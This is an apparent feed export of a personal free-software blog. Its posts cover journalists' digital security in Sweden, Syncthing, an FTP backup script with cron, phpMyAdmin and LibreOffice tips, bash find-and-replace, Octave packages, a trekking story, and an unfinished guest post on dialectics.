tag:blogger.com,1999:blog-34940398648844003472024-03-14T00:47:54.634+05:30'net-works'-by-gnu-linuxLog of my digging into FOSS and it's social impact.Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.comBlogger48125tag:blogger.com,1999:blog-3494039864884400347.post-76479659568318351362015-03-27T13:58:00.000+05:302015-03-29T01:51:56.340+05:30Journalism and digital security in Sweden<div dir="ltr" style="text-align: left;" trbidi="on">
(This was first published in the SI network for <a href="http://thelocal.se/" target="_blank">The Local</a>)<br />
<span id="goog_357965156"></span><span id="goog_357965157"></span><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-kOEwHa0tnZ4/VRUUVsnXkQI/AAAAAAAAC5U/yddVdAz2BPE/s1600/2015-03-19%2B09.46.52.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://4.bp.blogspot.com/-kOEwHa0tnZ4/VRUUVsnXkQI/AAAAAAAAC5U/yddVdAz2BPE/s1600/2015-03-19%2B09.46.52.jpg" height="240" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Nils Hanson from SVT, with generic tips on digital security.</td></tr>
</tbody></table>
After the sensational, yet revealing intelligence leaks by Edward Snowden in 2013, the perception of internet being a safe haven, and a truly democratic platform for expression has been hampered. In most cases, by not denying them, the veracity of claims of mass surveillance by intelligence agencies have been acknowledged. As a consequence of which, many free speech advocates, globally, have raised flags of concern. Instances where whistle-blowers and journalists have been persecuted using weaknesses in security of digital communication tools have become a growing concern. I was inquisitive to learn what the Swedish journalists made of these leaks.<br /><br /><i>Gräv</i>, the annual gathering of journalists in Sweden discussing investigative journalism was an apt platform to get a sense of how the Swedish journalism fraternity perceived this issue. With more than 400 journalists from across Sweden and about 50 international journalists, the event was the best arena to inquire into the post-Snowden epoch in digital security.<br /><br /><b>Inadequate efforts</b><br /><br /><a href="http://en.wikipedia.org/wiki/Sven_Bergman" target="_blank">SvenBergman</a>, a prolific investigative journalist, now working for <i>Sveriges Television</i>'s scoop program <i>Uppdrag granskning</i>, in his session during a focused workshop in <i>Gräv</i>, emphasized the need for journalists to secure their communications. Having worked on sensitive stories involving anonymous sources, he had tried many measures ranging from using basic tools like PGP encryption, to advanced measures like using air-gap computers.<br />
<br />
When asked if there was a change in etiquette amongst rest of the journalist fraternity in Sweden, after Snowden revelations, Sven said that the concern had grown, but efforts taken weren't adequate. “Yes, and no. People are more aware of the possible threats when using internet based communication, but there is lack of education in using these security measures, which needs to be changed”, he said. He also pointed at a recent incident, when a major Swedish newspaper, <i>Aftobladet</i> published it's private encryption keys along with the user manual it had put together for its employees. The intent was to encourage it's employees to use PGP based encryption, but publishing the private keys jeopardized the whole initiative. Making one's private key available in public is analogous to investing in the most sophisticated security set up for your home, and finally leaving a post-it with the access code at your entrance.<br /><br />Incidents like publishing private PGP keys by a major newspaper are not frivolous, to be laughed at. They highlight the bigger issue of the need to educate journalists and common public alike, in using digital security measures.<br /><br />Based on a survey I conducted at <i>Gräv</i>, the concern raised by Sven Bergman and others during the conference was affirmed. An overwhelming majority of more than 100 participants in the survey were aware of the mass surveillance programs, and agreed that it was a risk to journalism and free speech. But less than 20% of the participants had used any security measures at all. They attributed this to the lack of education of these security tools.<br /><br /><b>Changing from within</b><br /><br />There have been initiatives within the ambit of journalists in Sweden to popularize use of digital security. For instance, a representative from <i>Journalistförbundet</i>, the Swedish union for journalists, Peter Skyhag said that their organization had been trying to educate journalists, adding, “We have experts who conduct special workshops to train and educate journalists on using encryption and other basic security measures”. Peter also brought to notice a primer on internet security for journalists put together by three journalists in collaboration with <i>Journalistförbundet</i>. The manual, <a href="https://www.iis.se/docs/digitalt-kallskydd.pdf" target="_blank"><i>Digitalt källskydd</i></a>, is available in Swedish, under Creative Commons license for journalists to understand the need for, and to learn basic security measures when using internet-based, and other digital communication services.<br /><br />The disconnect in journalists not being able to widely adopt digital security measures like encryption in mail, chat or browsing seems to be three-fold. As with all technology, the adoption of security tools has a learning curve, and without comprehensive education aimed at training journalists, there cannot be widespread adoption of digital security. Secondly, the fact that the tools themselves aren't intuitive, makes it tedious to adopt them. This prompts technologists to make these tools more accessible to everyone, by making them user-friendly. Finally, the journalists need to understand the compulsion of having to secure their communications, in order to protect themselves and their sources.</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-44755155468084978842014-05-27T20:13:00.002+05:302014-05-27T20:24:28.884+05:30Syncthing: Way out of DropBox<div dir="ltr" style="text-align: left;" trbidi="on">
With connected devices, running upto three with each of us, services like DropBox did well in tapping the need to synchronise our data between our devices. I was, like everyone who tried out their service, immensely excited to learn and see DropBox synchronise between devices. That it did not need a geeky learning curve made it popular, rightly so.<br />
<br />
But, talking from the perspective of a Free Software advocate, it was never the right solution.<br />
<br />
<ul style="text-align: left;">
<li><b>Proprietary</b>: DropBox uses Python scripts for the synchronisation services. But beyond that it is a black box, that accesses your data on multiple devices. I won't even bother explaining what that is a problem.</li>
<li><b>Cloud</b>: All of the data DropBox synchronises, does not only shuttle between your devices but also rests on their ever-in-demand Cloud offering. </li>
<li><b>Amazon</b>: Quite recently I discovered that all the infrastructure of DropBox is handled by Amazon S3 cloud. For technical and <a href="http://www.theguardian.com/media/2010/dec/01/wikileaks-website-cables-servers-amazon" target="_blank">political reasons,</a> Amazon is one of the corporations you must distance yourself from.</li>
<li><b>DRM</b>: Recently DropBox, updated its policies to enforce <a href="https://defectivebydesign.org/" target="_blank">DRM check</a> on the data you share on DropBox. If you were to upload a DRM protected file, and make a public link out of it, DropBox would check the <a href="https://en.wikipedia.org/wiki/Hash_function" target="_blank">hash</a> of your file with a list of DRM protected files it has, and block it if your file is DRM protected. While it might sound sensible, but it is another level of intrusion one must not put up with.</li>
</ul>
I've known <a href="http://www.bittorrent.com/sync" target="_blank">BitTorrentSync</a>, but never had the motivation to try it out. If anyone else has done, do share your views.<br />
<br />
Just yesterday I stumbled upon an open, secure and more importantly decentralised alternative for DropBox - <a href="http://syncthing.net/" target="_blank">syncthing</a>!. The project code is pretty much in public domain (contributors only ask attribution).<br />
<br />
I tried it out immediately on my Debian machine first, used the tarball and ran the executable. Worked fine. You might want to <a href="https://github.com/calmh/syncthing" target="_blank">fork out the latest source</a> and build it yourself.<br />
<br />
The beauty of this tool is that it uses a p2p protocol, over encrypted link between nodes. There is no central arbitrator. To test it out, I was hoping there would be an Android porting of the app and found one.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-73qBowDFHm4/U4Sj9y_d8hI/AAAAAAAACiU/NCJC5HJ_7J8/s1600/syncthing.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://2.bp.blogspot.com/-73qBowDFHm4/U4Sj9y_d8hI/AAAAAAAACiU/NCJC5HJ_7J8/s1600/syncthing.png" height="328" width="600" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Syncthing web GUI, with one local and one remote note</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-MgvKDZWJZ-E/U4SkV54__YI/AAAAAAAACic/J6fax98Z4uw/s1600/2014-05-27+14.32.20.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" src="http://2.bp.blogspot.com/-MgvKDZWJZ-E/U4SkV54__YI/AAAAAAAACic/J6fax98Z4uw/s1600/2014-05-27+14.32.20.png" height="320" width="212" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">RSA fingerprint of one of a node</td></tr>
</tbody></table>
I got it running on my Nexus. Installation took a while, because the RSA-2048 key generation would take time to harness random data. Don't panic if your device takes a while.<br />
<br />
Each device is identified by a node ID, which is the RSA fingerprint. You must add these public keys of the nodes between nodes you want them to synchronise and that's all. Look at the config.xml file if you are interested, or the web-based GUI to fine tune the settings like revisions, upload/download speed and other aspects.<br />
<br />
<br />
Try it out, and if you are the gifted ones who can contribute, please do. The folks both on the Android and main project are nice and looking for contributors.<br />
<br />
Happy SyncThinging! </div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-55522623744747774862013-06-09T22:23:00.001+05:302013-06-09T22:24:59.865+05:30Automated online backup using FTP<div dir="ltr" style="text-align: left;" trbidi="on">
I host my website on a hosted server with no shell access (I know it is pretty lame, but cuts down on my cost) and until I don't I have my server running with a Public IP address this problem will remain a problem.<br />
<br />
Adding to this is the feature request that I get from others and myself to put some of the content from work/research away from the computers, somewhere in the Cloud. Since people have not gotten over the paranoia about Dropbox, and I too do not recommend them it, FTP way to hosted server is a sensible solution.<br />
<br />
In case of a <a href="https://en.wikipedia.org/wiki/Virtual_private_server" target="_blank">VPS</a>, with shell access on the server a simple '<a href="https://wiki.archlinux.org/index.php/Full_System_Backup_with_rsync" target="_blank">rsync</a>' would do the job and crontab (one of the most beautiful pieces of software, ever) makes it a habit for the computer to do it as a routine.<br />
<br />
Since all these are not happening, and simply because I do not have shell access to the server, I started looking at FTP as an option. Of course, FTP ain't secure, but I haven't yet worked the SFTP out. If one of you does it, do post it as comment.<br />
<br />
Here's the script that will be automated using crontab.<br />
<span style="font-family: "Courier New",Courier,monospace;"><br /></span>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">#!/bin/bash</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">username="ftp_user@server"</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">domain="server"</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">password="ftp_user_password"</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><br /></span></span>
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">#Getting hold of current date in mm-dd-yy format to append to the backup</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">date=$(date +"%m-%d-%y")</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">#backing up a folder to upload</span></span> </div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">tar -cvzf /home/raghav/backup.tar.gz /home/raghav/backup/ </span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><br /></span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;">#Here's the FTP portion of the code, which runs without interaction</span></span></div>
<div style="text-align: left;">
<span style="font-size: x-small;"><span style="font-family: "Courier New",Courier,monospace;"><br />ftp -n <<EOF<br /> verbose<br /> open $domain<br /> user $username $password<br /> put ~/backup.tar.gz $date-backup.tar.gz<br /> bye<br />EOF</span></span></div>
<span style="font-family: "Courier New",Courier,monospace;"><br /></span>
<span style="font-family: inherit;">Save this as ftp-backup.sh, or anything that makes sense to you. </span><br />
<span style="font-family: inherit;">Test this code, and of course after making necessary changes with your FTP user name, password and folder to be backed up.</span><br />
<br />
<span style="font-family: inherit;">Change permissions, and making it an executable. Use '<span style="font-family: "Courier New",Courier,monospace;">chmod a+x ftp-backup</span>' </span>to make it executable, and test it. If the script is working and has left a copy of the back up file on your server, now make it a routine task by making a crontab entry.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">raghav@debian:~$ crontab -e</span><br />
<br />
And make the following entry in your crontab, to run the backup script ftp-backup daily at 5PM<br />
0 17 * * 1 /home/raghav/ftp-backup<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Here's the daily backup (Except for on Saturday and Sundays) dumping archives to my FTP server.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-3lQ1uuaZUR8/UbSy6FOsn8I/AAAAAAAACMw/x9aj_Se_v5I/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="183" src="https://lh3.ggpht.com/-3lQ1uuaZUR8/UbSy6FOsn8I/AAAAAAAACMw/x9aj_Se_v5I/s1600/Screenshot-1.png" width="400" /></a></div>
<br /></div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com6tag:blogger.com,1999:blog-3494039864884400347.post-61806910353405095592013-05-26T09:32:00.001+05:302013-05-26T09:34:47.587+05:30My date with the Mighty Savanadurga<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">P { margin-bottom: 0.21cm; }</style>
<br />
<div style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><b><span style="font-family: Bookman Old Style, serif;">by Monisha M Ganesh</span></b></span></div>
<div style="margin-bottom: 0cm; orphans: 2; widows: 2;">
</div>
<div style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">19-05-2013</span></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">It
was a cold pleasant morning, when I set out for what was supposed to
be my first ever trek. I was going to scale the mighty Savandurga
hill. I knew it was going to be really very exciting and quite
naturally was curious about it. The day looked promising. It was not
just another normal day.</span></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">I
reached Kempegowda Bus Terminus at around 7 a.m., and the crowd there
did not interest me this time. Any other time I would’ve landed in
K.B.S., the never ending crowd and the fleet of buses waiting there
would’ve crossed my mind. But that day, I was on a mission. I was
not bothered about anything other than the trek. I knew, I would meet
different people from different zones and make new friends all
through the trek and the very thought, made me happy. Once a few of
us gathered at the Majestic Bus Terminus, we proceeded with the trek.</span></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">As
we began our travel, the weather and the scenery around were
enthralling. It was as if the trees and the plants there were
greeting us. At the end of the journey to Savandurga, all the unknown
people were well known. Standing at the foot of that gigantic
Savandurga hill, we looked like Lilliputians. For a minute I just
wondered whether we could make it to the top. Without any further
delay, we started the trek. </span></span>
</div>
<div class="separator" style="clear: both; text-align: center;">
<span style="color: white;"><a href="http://2.bp.blogspot.com/-yh_LtDsJSWM/UaGJEvyQeYI/AAAAAAAACMM/iljJja_wxHk/s1600/CIMG4548.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="245" src="https://lh3.ggpht.com/-yh_LtDsJSWM/UaGJEvyQeYI/AAAAAAAACMM/iljJja_wxHk/s1600/CIMG4548.JPG" width="400" /></a></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">Every
step motivated us to reach the acme of the hill. As I was climbing, a
look backward scared me at times. But I was so keen on moving ahead
that I did not bother looking behind. We took short breaks on the
way. The sweet lime which I am not really very fond of, tasted the
best at that time. Apart from the casual talks, it was the glucose
powder that egged us on. As we were scaling a dry peak, the very
sight of water made us go crazy. </span></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;"> </span>
</span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><span style="font-family: Bookman Old Style, serif;">After
two hours of exhaustive trek, we finally reached the pinnacle of the
peak. I got a different view of the World from up there which I had
never seen before. I wished I could make the time pause right there.
Once we settled down there, and then began the most important phase
of our trek. We had actually gathered there to discuss about the
summer camp which is scheduled to take place in the month of July.
Then it was time for some general discussions. Most of the speakers
there instantaneously spoke on few general topics which later led to
discussions. An hour passed by. Even though we did not want to leave,
it was time. The discussions there were a preview of what could be
expected at the summer camp. The enthusiasm level just shot up. I
walked down hoping to experience another fun filled trip soon. And at
the end, the day was way better than I expected it to be. I went back
home with another memorable page ready to be penned down in my diary.</span></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="color: white;"><a href="http://3.bp.blogspot.com/-sbwdENZ2X_k/UaGJOnCPtbI/AAAAAAAACMU/TewdVnFC2jU/s1600/CIMG4565.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://lh3.ggpht.com/-sbwdENZ2X_k/UaGJOnCPtbI/AAAAAAAACMU/TewdVnFC2jU/s1600/CIMG4565.JPG" width="400" /></a></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
<div align="JUSTIFY" style="margin-bottom: 0cm; orphans: 2; widows: 2;">
<span style="color: white;"><br /></span></div>
</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com2tag:blogger.com,1999:blog-3494039864884400347.post-63444974032272290002013-03-31T19:19:00.001+05:302013-03-31T19:20:59.524+05:30How to change file upload size in phpmyadmin!<div dir="ltr" style="text-align: left;" trbidi="on">
For lesser mortals in the universe of databases, who still inadvertently use lot of MySql, a tool like PHPMyadmin is the holy grail!<br />
<br />
This web browser based, php querier accesses MySql tables and also gives tremendous functionalities to tinker with the databases. While most of it is intuitive, sometimes a small feature requirement needs the options beyond the defaults.<br />
<br />
Before I delve into these non-default configurations, just for the record, here is how you get your phpmyadmin to access your mysql tables on your Debian based machines.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">fsmk@gnu:~$ sudo apt-get install phpmyadmin</span><br />
<br />
Once, you have installed, as a dependency Apache also gets installed. To access phpmyadmin, open your favourite web browser and type on "http://localhost/phpmyadmin"<br />
<br />
Now, that settled let me get into the issue of the post.<br />
SQL backup, taken from different servers or simply for the purpose of backing up data are the most precious files on my computer, at least. Now, to move in and out of different machines with the mysql data, phpmyadmin offers a cool import/export option.<br />
<br />
While export is flawless, import has a default option which restricts the maximum file upload size to 2M. Once you encounter sql's which are more than 2M you know you are handling quite a lot of data, and in such cases how to restore these >2M files?<br />
<br />
The configuration file for the phpmyadmin which checks this option is a php.ini file, which resides in the /etc/php5/apache2/ directory.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-a4c9cjYqrwE/UVg_N7QyqnI/AAAAAAAACKo/wLM9SivrBlw/s1600/Screenshot+from+2013-03-31+19:20:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="111" src="http://3.bp.blogspot.com/-a4c9cjYqrwE/UVg_N7QyqnI/AAAAAAAACKo/wLM9SivrBlw/s400/Screenshot+from+2013-03-31+19:20:19.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-nLpVoVhyJp4/UVg-pvJ___I/AAAAAAAACKc/pkZQK0NbtEk/s1600/Screenshot+from+2013-03-31+19:17:56.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
Get hold of this file, and search for "upload_max_filesize" in the php.ini file. After you've got it change it to whatever that your maximum file size might be.<br />
Restart your apache service to upload those massive sqls into your database.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-nLpVoVhyJp4/UVg-pvJ___I/AAAAAAAACKc/pkZQK0NbtEk/s1600/Screenshot+from+2013-03-31+19:17:56.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="http://4.bp.blogspot.com/-nLpVoVhyJp4/UVg-pvJ___I/AAAAAAAACKc/pkZQK0NbtEk/s400/Screenshot+from+2013-03-31+19:17:56.png" width="400" /></a></div>
</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-91736783287398506592013-03-17T01:28:00.002+05:302013-03-17T01:37:39.380+05:30Embeding long tables in plain HTML, using Libre Office<div dir="ltr" style="text-align: left;" trbidi="on">
When using plain HTML for design of web pages, and there aren't any WYSIWG editors, and there is an inevitable requirement to embed tables into the HTML file, the <table> tag is quite handy.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;"><table border="1"></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td><b>Movie</b></td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td><b>Favourite character</b></td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"></tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>The Matrix</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>Neo</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"></tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>The Lord of the Ring</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>Eragon</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"></tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>V for Vendetta</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"><td>Ivy</td></span><br />
<span style="font-family: "Courier New",Courier,monospace;"></tr></span><br />
<span style="font-family: "Courier New",Courier,monospace;"></table></span><br />
<br />
Will result in<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-YliaIpH4Qgw/UUTNwBLE8YI/AAAAAAAACJw/KIs6QUodAdQ/s1600/Screenshot+from+2013-03-17+01:22:11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://lh3.ggpht.com/-YliaIpH4Qgw/UUTNwBLE8YI/AAAAAAAACJw/KIs6QUodAdQ/s1600/Screenshot+from+2013-03-17+01:22:11.png" width="320" /></a></div>
<br />
For a table with couple of entries and default options, this syntax follows, and is adequate. <br />
<br />
But, when one has to embed a longer table, with many more rows and columns and don't ask me why! Just in case, you find yourself in such a state that you have a complete table existing already in your document or spreadsheet and you do not have the patience or the in-aptitude to type out all of it using the syntax shown above, Libre Office (or even Open Office) comes to rescue! <br />
<br />
Copy the entire table that you want to embed in a HTML file, and paste it into a new HTML document that you can create from the Libre Office prompt. Once you are done formatting your new table in a Libre Office HTML file, save it as a .html file.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-14cOXkF0gL0/UUTQxR8d73I/AAAAAAAACKA/J_6BkcChKYM/s1600/Screenshot+from+2013-03-17+01:06:14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://lh3.ggpht.com/-14cOXkF0gL0/UUTQxR8d73I/AAAAAAAACKA/J_6BkcChKYM/s1600/Screenshot+from+2013-03-17+01:06:14.png" width="580" /></a></div>
<br />
<br />
All you now have to do is, locate the new .html file you created using Libre Office and open it with your favourite text editor!<br />
<br />
It is a HTML file now with all the taggings done for your table, which otherwise would have taken painstaking hours of labour to reach that form! Copy-Paste the HTML code into your webpage that you started off wanting to embed a table.<br />
It's ready!<br />
<br />
Libre, set me literally free this time!<br />
<br />
Happy hacking!<br />
PS: Of course there might be better methods to accomplish this, if you do have one please post it as a comment :) </div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com1tag:blogger.com,1999:blog-3494039864884400347.post-8152145281572180422013-03-12T00:28:00.000+05:302013-03-12T00:34:34.046+05:30Find,replace in multiple files using BASH<div dir="ltr" style="text-align: left;" trbidi="on">
Another of those zillions of tweaks that I am afraid will slip out of my head! So jotting it down here.<br />
<br />
When you are editing HTML files, or some similar content template with multiple changes to be done in a huge number of files, it is simply excruciating to dig into each of the files and search for a pattern and change it.<br />
<br />
For instance, if you have a host of html files, and you need to maybe make one common change in all files, the simplest thing to do is use the power of BASH!<br />
<br />
To change a string, recursively in multiple files, use the following command.<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">raghav@fossphosis:~$grep -rl 'old-string' ./ | xargs sed -i 's/old-string/new-string/g'</span><br />
<br />
'grep' as always performs pattern matching<br />
'sed' is used as the <u><b>s</b></u>tream <u><b>ed</b></u>itor<br />
<br />
Old-string is the string to be changed, into new-string.<br />
<br />
May the power of BASH be yours!<br />
GNU Rocks.</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-8821128118722724612013-02-11T23:45:00.001+05:302013-02-11T23:46:20.153+05:30Installing additional packages in GNU Octave<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
<b>Guest post by Sneha Das, BMSIT, FSMK</b></div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
<br />
Octave is a versatile computational
tool, with multi-faceted functionality. To make the fullest use of
this tool, there are various packages that needs to be installed. The
packages in octave are equivalent to toolboxes in matlab.
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
To install octave packages</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<ul>
<li><div style="font-style: normal; margin-bottom: 0cm;">
If the desired
package to be installed is available in the ubuntu repository, then</div>
<div style="font-style: normal; margin-bottom: 0cm;">
- open the
terminal</div>
<div style="margin-bottom: 0cm;">
<span style="font-style: normal;">-
type 'sudo apt-get install octave-</span><i>name; name </i><span style="font-style: normal;">is
the name of the octave package. If the </span>
</div>
<div style="font-style: normal; margin-bottom: 0cm;">
install is
unsuccessful, errors appear in the terminal. Else nothing appears.</div>
</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://octave.sourceforge.net/index.html" imageanchor="1" style="margin-left: 1em; margin-right: 1em;" target="_blank"><img border="0" height="218" src="http://2.bp.blogspot.com/-x1t-DxM0tKY/URk1BJT3HLI/AAAAAAAACJg/vDO9eThHEjc/s400/Screenshot+from+2013-02-11+23:43:56.png" width="400" /></a></div>
<div style="font-style: normal; margin-bottom: 0cm;">
<br /></div>
<div style="font-style: normal; margin-bottom: 0cm;">
If the
package is not there in the repository
</div>
<ul>
<li><div style="margin-bottom: 0cm;">
<span lang="en-US">Download the
package's .tar.gz file from
<a class="western" href="http://octave.sourceforge.net/packages.php">http://octave.sourceforge.net/packages.php</a></span></div>
</li>
<li><div style="margin-bottom: 0cm;">
Don't extract the .tar.gz file.</div>
</li>
<li><div style="margin-bottom: 0cm;">
Open Octave by typing 'sudo
octave' in the terminal.
</div>
<div style="margin-bottom: 0cm;">
- the working directory should be the
directory where the file is stored.</div>
<div style="margin-bottom: 0cm;">
So type 'cd <i>directory' </i><span style="font-style: normal;">to
change the working directory.</span></div>
<div style="margin-bottom: 0cm;">
<span style="font-style: normal;">-
Then install the package by typing the command 'pkg install
</span><i>name.tar.gz</i><span style="font-style: normal;">'</span></div>
</li>
</ul>
<div style="font-style: normal; margin-bottom: 0cm;">
<br /></div>
</div>
Raghavendra Shttp://www.blogger.com/profile/06341811604238755499noreply@blogger.com0tag:blogger.com,1999:blog-3494039864884400347.post-44398691107759930142012-08-28T15:49:00.002+05:302012-08-28T15:49:43.059+05:30The idea of Dialectics<div dir="ltr" style="text-align: left;" trbidi="on">
By Aruna<br />
<br />
The idea of Dialectics, though not new is not something familiar. I was quite intrigued by the idea of a discussion on Dialectics, and the same turned out to be a discussion on several things, relevant to and far from dialectics. The initial presentation was simple, to the point and a nice introduction to the various dialectic laws that can be applied. It was quite fascinating to imagine that individual, scattered events in one person's life are repeated with surprising similarity in almost everybody's life in the world; what I absorbed was that there are a few laws which dictate how our social lives span out, how all our social lives span out. There is a certain logic and order to the world and dialectic tries to define this order using a series of almost irrefutable laws.<br /><br /> In the discussion, something that I was trying to grasp was that the proof of dialectics is influenced greatly by how one approaches the situation or matter at hand. On the one hand there might be a certain statement that seems to defy dialectics but when seen from another perspective conforms willingly; while dialectic defines a series of laws, it does not define how one must approach these laws- in which situation, in what order, under what circumstances; as a newbie this confounded me the most. (I am talking about the 1+1=2 problem)<br /><br />Some questions I have -<br />*Are there only finite areas that dialectics can help explain, or is it all encompassing?<br />*Further, unlike the singularity that science and logic demand, there are several ways to look at dialectics, what is the right way? Or is there no such thing as the right way? If there is no such thing as a right way, are we not fooling ourselves by reading these laws as being absolute?<br />*Doesn't every work of literature or the arts or even the simple act of thinking not use dialectics in some way?<br /><br />I definitely want to understand dialectics better, but I would love to learn about it 